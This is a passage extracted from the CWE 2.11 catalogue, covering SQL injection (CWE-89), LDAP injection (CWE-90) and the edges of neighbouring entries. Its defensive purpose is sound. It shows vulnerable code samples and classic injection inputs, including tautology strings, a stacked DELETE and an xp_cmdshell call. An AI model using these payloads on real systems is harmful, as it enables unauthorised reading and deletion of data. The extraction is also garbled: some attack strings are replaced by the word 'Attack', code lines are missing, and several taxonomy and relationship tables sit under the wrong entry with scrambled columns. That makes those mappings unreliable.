Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>634</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>699 1000 1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>741</td>
<td>744</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734 1136</td>
</tr>
<tr>
<td>ChildOf</td>
<td>741</td>
<td>810</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>734 1138</td>
</tr>
<tr>
<td>ChildOf</td>
<td>875</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868 1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td>990</td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
<td>928 1362</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>78</td>
<td>888</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>888 1392</td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>117</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Relationship Notes

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Affected Resources

- System Process

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)
**CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')**

**Description**

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

**Extended Description**

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Database-Server

**Modes of Introduction**

This weakness typically appears in data-rich applications that save user inputs in a database.

---

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Argument Injection or Modification</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV03-C</td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV04-C</td>
<td>Do not call system() if you do not need a command processor</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR02-C</td>
<td>Sanitize data passed to complex subsystems</td>
</tr>
<tr>
<td>WASC</td>
<td>30</td>
<td>Mail Command Injection</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR02-CPP</td>
<td>Sanitize data passed to complex subsystems</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV03-CPP</td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV04-CPP</td>
<td>Do not call system() if you do not need a command processor</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>41</td>
<td>Using Meta-characters in E-mail Headers to Inject Malicious Payloads</td>
<td></td>
</tr>
<tr>
<td>88</td>
<td>OS Command Injection</td>
<td></td>
</tr>
<tr>
<td>133</td>
<td>Try All Common Switches</td>
<td></td>
</tr>
<tr>
<td>460</td>
<td>HTTP Parameter Pollution (HPP)</td>
<td></td>
</tr>
</tbody>
</table>

**References**


Common Consequences
Confidentiality
Read application data
Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Access Control
Bypass protection mechanism
If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Access Control
Bypass protection mechanism
If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity
Modify application data
Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood of Exploit
Very High

Enabling Factors for Exploitation
The application dynamically generates queries that contain user input.

Detection Methods
Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software’s operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Database Scanners
  Cost effective for partial coverage:
    Web Application Scanner
    Web Services Scanner

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Fuzz Tester
    Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Manual Source Code Review (not inspections)
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Formal Methods / Correct-By-Construction
  Cost effective for partial coverage:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. [1]

Example 2:
The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

C# Example:

```csharp
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = " + userName + " AND itemname = " + ItemName.Text + "";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:
SELECT * FROM items WHERE owner = '<userName>' AND itemname = '<itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

'Attack

for itemName, then the query becomes the following:

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:
This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

'Attack

for itemName, then the query becomes the following two queries:

**SQL Example:**

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

'Attack

Then the following three valid statements will be created:

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
CWE Version 2.11
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:
- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks. Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

```sql
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is
open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

**Example 4:**
MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

```sql
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where $user_input is taken from an untrusted source. If the user provides the string:

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

```sql
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' -- ORDER BY PRICE
```

Now, this query can be broken down into:
- a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
- a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir' an MS SQL comment: -- ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

**Example 5:**
This code intends to print a message summary given the message ID.

**PHP Example:**

```
$id = $_COOKIE['mid'];
```
The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

```
Attack
1432' or '1' = '1
```

This would produce the resulting query:

```
Result
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

**PHP Example:**

```
Good Code
$id = intval($_COOKIE['mid']);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

**Example 6:**

This example attempts to take a last name provided by a user and enter it into a database.

**Perl Example:**

```
Bad Code
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = whiteList($name, "^a-zA-Z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0377</td>
<td>SQL injection in security product, using a crafted group name.</td>
</tr>
<tr>
<td>CVE-2007-6602</td>
<td>SQL injection via user name.</td>
</tr>
<tr>
<td>CVE-2008-2223</td>
<td>SQL injection through an ID that was supposed to be numeric.</td>
</tr>
<tr>
<td>CVE-2008-2380</td>
<td>SQL injection in authentication library.</td>
</tr>
<tr>
<td>CVE-2008-2790</td>
<td>SQL injection through an ID that was supposed to be numeric.</td>
</tr>
<tr>
<td>CVE-2008-5817</td>
<td>SQL injection via user name or password fields.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Architecture and Design
Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.89.12]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Architecture and Design
Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation
Implementation
Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>810</td>
<td>OWASP Top Ten 2010 Category A1 - Injection</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
<td>928</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1005</td>
<td>Input Validation and Representation</td>
<td>700</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>564</td>
<td>SQL Injection: Hibernate</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
SQL injection can be resultant from special character mismanagement, MAID, or blacklist/whitelist problems. It can be primary to authentication errors.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>SQL injection</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>SQL Injection</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>SQL injection</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A2</td>
<td></td>
<td>CWE More Specific Injection Flaws</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td></td>
<td>CWE More Specific Unvalidated Input</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A6</td>
<td></td>
<td>CWE More Specific Injection Flaws</td>
</tr>
<tr>
<td>WASC</td>
<td>19</td>
<td></td>
<td>SQL Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
<td></td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
<td></td>
</tr>
<tr>
<td>108</td>
<td>Command Line Execution through SQL Injection</td>
<td></td>
</tr>
<tr>
<td>109</td>
<td>Object Relational Mapping Injection</td>
<td></td>
</tr>
<tr>
<td>110</td>
<td>SQL Injection through SOAP Parameter Tampering</td>
<td></td>
</tr>
<tr>
<td>470</td>
<td>Expanding Control over the Operating System from the Database</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where the code path has:
1. start statement that accepts input and
2. end statement that performs an SQL command where
   a. the input is part of the SQL command and
   b. input contains SQL syntax (esp. query separator)

References


CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90 (Weakness Base) Status: Draft

Description

Summary

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
CWE Version 2.11

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Database-Server

**Common Consequences**

Confidentiality
Integrity
Availability

**Execute unauthorized code or commands**

**Read application data**

**Modify application data**

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.

**Demonstrative Examples**

The code below constructs an LDAP query using user input address data:

**Java Example:**

```java
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2301</td>
<td>Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
<td>629 1115</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>810</td>
<td>OWASP Top Ten 2010 Category A1 - Injection</td>
<td>809 1249</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
<td>928 1362</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td>699 1373</td>
</tr>
</tbody>
</table>
**CWE Version 2.11**

**CWE-91: XML Injection (aka Blind XPath Injection)**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Relationship Notes**
Factors: resultant to special character mismanagement, MAID, or blacklist/whitelist problems. Can be primary to authentication and verification errors.

**Research Gaps**
Under-reported. This is likely found very frequently by third party code auditors, but there are very few publicly reported examples.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>LDAP injection</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>WASC</td>
<td>29</td>
<td>SFP24</td>
<td>LDAP Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>136</td>
<td>LDAP Injection</td>
</tr>
</tbody>
</table>

(Updated with CAPEC Version 2.10)

**References**
SPI Dynamics. "Web Applications and LDAP Injection".

---

**CWE-91: XML Injection (aka Blind XPath Injection)**

**Weakness ID:** 91 (Weakness Base)

**Status:** Draft

**Description**

**Summary**
The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

**Extended Description**
Within XML, special elements could include reserved words or characters such as "<", ">", "\"", and "&", which could then be used to add new data or modify XML syntax.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Availability
